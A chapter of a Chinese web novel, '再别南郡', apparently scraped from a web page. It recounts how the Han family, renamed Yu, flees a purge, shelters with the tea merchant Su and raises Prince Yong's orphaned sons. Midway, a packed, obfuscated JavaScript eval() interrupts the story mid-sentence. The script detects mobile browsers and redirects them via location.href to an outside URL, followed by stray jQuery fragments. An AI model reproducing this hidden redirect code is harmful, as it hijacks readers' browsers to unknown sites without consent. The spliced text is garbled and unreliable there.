32. 忆旧

作品:《再别南郡

    兄弟二人前往大帐,余叔归却止不住忆起旧事。


    余家与苏氏茶庄的投桃报李之交,说来已是余家逃难前的事儿了。


    中原旧朝。


    工部尚书嫡长子韩归,曾因护弟,斩杀了太子犬宠,太子大闹至皇后处,引得帝后不满,随便找了个由头,欲给将工部尚书定罪。


    这事最终由邕亲王出面力保,才轻罚了过。


    可这轻罚,也使得工部尚书韩颜回,连贬三阶,成了工部员外郎。


    尔后一年,帝王病逝,太子李榕登基。


    少师顾蠡之与邕亲王龃龉久矣,登基翌日,他密见李榕,指责邕亲王李烈拥兵自立,欲乱新朝,实应上缴兵权,以示君恩。


    新朝将启,李榕年幼,完全听命于顾蠡之。


    那日韩颜回因工部事务更替,有本要奏,因缘巧合下被他窥得密谋,他掩下心中大骇,暗中给亲王报了信。


    谁料顾蠡之早就派了人手,信将将送予亲王府,王府便在一夜之间,惨遭血劫。


    邕亲王作为武侯,被冠以动乱叛贼之名,死于非命,王妃亦如是。


    出乎意料的是,禁军搜遍王府,皆未寻到邕兵玉印,而邕亲王世子与小公子,杳无踪影。


    此事闹到这番田地,已没有退路,少帝问师,顾蠡之却恍惚不已。


    李榕已尝到了帝王权威,哪管那邕亲王的世子公子,是他李氏手足?


    “斩草不除根,祸矣!”


    李榕再次下令,命禁军层层围堵畿地,务必找出玉印及邕亲王的嫡子残孽!


    那几日的光景,可谓是哀鸿遍野,民不聊生,洛都城内人人自危,却不敢说新帝半分不是。


    无人知晓亲王府那一夜究竟经历了什么,韩颜回心有愤怒,却也悔恨,是否正是因他的信,才成了亲王的催命符?


    他夜夜难安,连带着蒋氏都跟着惶惶,可她依旧柔情安抚。


    “夫君报信,亦是报恩,如今是非曲直已轮不得我们去说,杏娘不怕与夫君共患难,只是忧心孩子们……”


    韩颜回望着同样愤怒的长子韩归,担惊受怕的韩舒与韩寂,以及睡得不省人事,还是两岁孩提的幼女韩香,他不禁潸然泪下。


    “我儿尚且如此,世子与小公子,又该何去何从?”


    世子李博乃是束发之年,而小公子李邵,不过也才五岁孩童矣!


    他尚不惧死,可妻儿无辜牵连,亦是不该。


    那夜后,韩颜回改名换姓,成了余奚照。


    余家趁乱出逃,适逢藏于城北的一间商舍,而商舍的主家,正是苏老爷。


    苏老爷是小有名气的南郡茶商,可他此番前来中原,并非生意往来,而是来接他养在外祖母家的小女儿,苏莲窈。


    怎奈政势突变,洛都四处皆是避难百姓,有门面的权贵与商户,皆闭门不出。


    苏老爷发现后院藏了人后,本也是要上报禁军的,可那幼女哭得好不可怜,联想到自家莲窈体弱多病,苏老爷便起了恻隐之心。


    “来人,给护院发令牌。”


    那月,余奚照与长子余归,成了苏家护院。


    然新朝动荡不止,邕亲王暴毙后,邕兵将军宋嵇,率兵剑指洛都,大军压城,扬言势必要为帅复仇。


    顾蠡之这才恍然回神,想起要巩固民心,他力谏新帝,以大局为重。


    洛都城内,终于没有禁军紧锣密鼓的搜查了,百姓得以缓了口气。


    当时余奚照作为苏家护院,可谓是尽职尽责,不仅护院有道,邻家动静亦是没有疏忽,他犹记得邻家管家老头的声音。


    “有贼啊,鸡埒彘牢里进贼了啊!哎哟苍天啊!叛乱才定,怎就又遭了这入室贼!”


    余奚照提心吊胆,拿着护刀便跳进了邻家后院,引得鸡吠豕窜,他一眼便望见脏兮兮的二人。


    是邕亲王仅剩的两位遗孤。


    世子尚且无碍,他浑身紧绷,举着短刀护着身后幼弟,抬手便要刺向来人。


    余奚照却热泪盈眶,双膝下跪,浊音颤抖,“世子……您受苦了。”


    管家的呼声引来了那家护院,脚步声将至,余奚照没过多停留,他上前抱拳,“世子快同我走!”


    李博意识到这是那曾经的工部尚书,他缓过神,舒了口气,却又立刻蹙眉,“等等,恕希他高烧不止。”


    余奚照这才发现,小公子已经昏迷了,他立即将小公子背上,“世子,随臣来。”


    “……”


    邻家闹了乌龙,家畜一只未少,且鸡埒彘牢那等腌臜地,怎会有贼惦记?女主子斥责管家人老眼花,骂了一宿。


    苏老爷心知有异,唤余奚照来问。


    余奚照哭得老泪纵横,说他终于寻回了走失的儿子,求老爷再次开恩。


    苏家商舍本已有三子两女,如今又多了两子,任谁都会起疑。


    余奚照不愿连累苏家,遂请辞。


    苏老爷叹了口气,“如今邕兵伐都,兵荒马乱之际,你又能往何处去?”


    虽是救下了来历不明之人,可莲窈同护院的小儿女们玩得很是开怀,人也开朗了不少。


    作为护院,余奚照及长子余归,并无不当之处,苏老爷自是不愿驱离的。


    但势不由人,余奚照心存感激,“苏老爷放心,我欲参军。”


    “参何势之军?”


    余奚照还未张口,外头小厮便来报,“老爷,那邕兵攻破了城门!快!快藏起来啊!”


    太快了,邕兵来得太快了。


    苏氏商舍一行人已顾不得前头所虑之事,匆忙往地窖处赶。


    李博却迎面冲出院门,欲往大街上去!


    余奚照一把冲上前拉人,声音悲怆,“儿啊!不得送死啊!”


    身后的苏家随从已无心关注这“父子”,只护着他们的老爷和小姐,下了地窖。


    余奚照手攥得紧,他知世子逃难月余,四肢自是没他有劲,余归也奔来拦人。


    被二人拦得动弹不得,李博依旧咬牙坚持,“我父不是乱臣贼子!他本就不愿见百姓生灵涂炭!何况是邕兵造成的生灵涂炭?!”


    余奚照跪下恳求,“臣知世子不愿邕亲王背负骂名,可王爷已逝,您若想为他平反,须留得性命在,再细细筹谋啊!”


    余归只比李博小几个月,少年也下跪恳求,“如今小人得势,世子何必将自身立靶之上,任人瞄射?还是先忍及一时,韬光养晦才是!”


    余奚照连连颔首,他抬掌起誓,“今朝起,我韩氏……不,余氏全族,愿为世子及小公子驱驰,直至还邕亲王清白!”


    李博双眸赤忱如血,蒋氏此时携幼子前来,“臣妇与夫君同心,若不是王爷,韩氏与我母族,早就被株连九族,我或已成官妓,焉有命在此?”


    妇人声泪俱下,“臣妇愿待世子如亲儿!小公子如今高烧未退,还盼世子,顾念自身,为王爷留得青山在啊!”


    说罢蒋氏带着余舒余寂,一同跪下恳求。


    李博神情恍惚,是啊,他的父亲与母亲不在了,可还有幼弟,他捏着手中的邕兵玉印,惶然倒地,心中却念着高烧不止的李邵。


    “恕希……”


    自那日起,余家子女辈分重排,李博成了余伯归,余归成了余仲归,余舒余寂便是余叔归与余季归,李邵按龄排序,成了余少归。


    “杏娘,少归二字不吉,不若还是叫子归吧?”


    蒋氏笑得温婉,“我亦是这般想的,伯归觉着呢?”


    李博眸中有光,“子归二字甚好,恕希他定会欢喜的。”


    “……”


    尔后三载,邕兵势不降朝。


    李榕忌惮,却也无可奈何,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618060|155702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎料有朝一日,竟传来宋嵇散兵的消息——“为使百姓安心,嵇愿散十万精兵为民,以慰邕亲王护民之心!”


    此讯传到朝堂,李榕勃然大怒,“荒唐!慰藉邕亲王的护民之心?朕那叔父,已死了三年有余了!”


    有大臣上前恭维,“圣上,许是邕兵已粮草告急,且那邕亲王的世子与小公子,不是被神策军剿杀了吗?邕兵无主,定然是心灰意冷,无意再与朝廷抗争了。”


    此言甚得帝心,龙颜大悦,当朝下令奖率三军。


    顾蠡之对此事一言不发,却派人一直调查宋嵇,甚至亲自暗随。


    同年伏月,余奚照一家逃难至东夷,他欲携长子伯归,次子仲归一同参军,宋嵇亦追随而至。


    事不由人,竟真给顾蠡之的暗卫探到了宋嵇等人的蛛丝马迹。


    宋嵇将此事报于李博,为了不拖累余家,也为了护住幼弟,李博便与宋嵇演了一场假死戏。


    顾蠡之神情恍惚,欲上前再探,暗卫却恐主子遭伏,硬是将李博与“李邵”又多捅了几刀,怎料顾蠡之却发了狂。


    他一刀斩杀了暗卫,怒吼道:“他们是曼娘的儿子!谁允许你们动手的!”


    谁允?自是当今圣上。


    “……”


    年仅八岁的余子归,醒来见到宋嵇一身血迹,万分不解,“嵇叔,兄长和缪弟呢?”


    宋嵇跪地,泣不成声,“小主子,您一定要,一定要为世子与我儿报仇啊!”


    李博与宋缪身死,邕兵玉印,传到了余子归的手中。


    那夜的余家,就连余香归都哭得痛心疾首,而余子归却没了泪,他像变了一个人,从此只盼,有朝一日,得胜归朝!


    余奚照暗自抽了自己几巴掌,宋嵇痛哭流涕,“王爷与王妃视死如归,若非信笺提前告知,小主子们难逃王府,余氏亦是我邕兵恩人。”


    同年腊月,已是总旗的余奚照收到旧人信,信笺来自洛都城北商舍。


    “吾儿得罪于权贵之士,此仇苏某已报,只盼权贵继续责追于我,吾妻携儿出逃他郡,然苏某依旧辗转反侧。”


    “管家为吾奔走各郡商茶生意,曾见余兄安于东夷,此事吾未声张过半分,只盼余兄能给妻儿行个方便,勿让东夷渡口阻拦。”


    “苏某,敬谢。”


    信笺不长,字字皆是恳求。


    蒋氏却蹙眉,“夫君,我们今岁才来东夷,你官职不高,还是勿趟浑水为好?”


    余仲归却不同意,“娘亲,苏氏与我们有恩,如今恩人遇难,只是求保妻儿,此事何以推辞?”


    余奚照亦是安抚,“杏娘勿忧,时任蕉邑渡口的丁百户,我曾在战中救过他一命,他一向同我交好,只是过名册罢了,应是无碍。”


    蒋氏依旧闷闷,“丁百户那我自是不忧,只是高家与你同为总旗,向来喜欢争个高低。”


    “只是军中较劲罢了,这有什么?高家要真同我有龃龉,他家老二,上次怎会救季归呢?”


    蒋氏不再多言,只念叨老四贪玩。


    却没想,真出了事。


    南郡商船行至蕉邑,却藏了江寇,这些江寇各个身手了得,似是死士。


    余奚照为救丁百户,被江寇一箭穿心,而余仲归为保苏氏妻儿安全上马车,被战马踩断了双腿。


    蕉邑渡口从此封渡。


    “二位百户稍等,小人通报一二。”士兵抱拳行礼,余氏兄弟止了步。


    余叔归怅然回神,十年了。


    这十年,稚子已长成顶天男儿,堪比父兄当年之勇,他望向幼弟,不自觉唤出声,“子归……”


    余子归侧首而望,眼中有惑。


    子归二字甚好,恕希他定会欢喜的。


    余叔归忍下心绪,并未多言。


    士兵再次通报,“二位百户,将军有请。”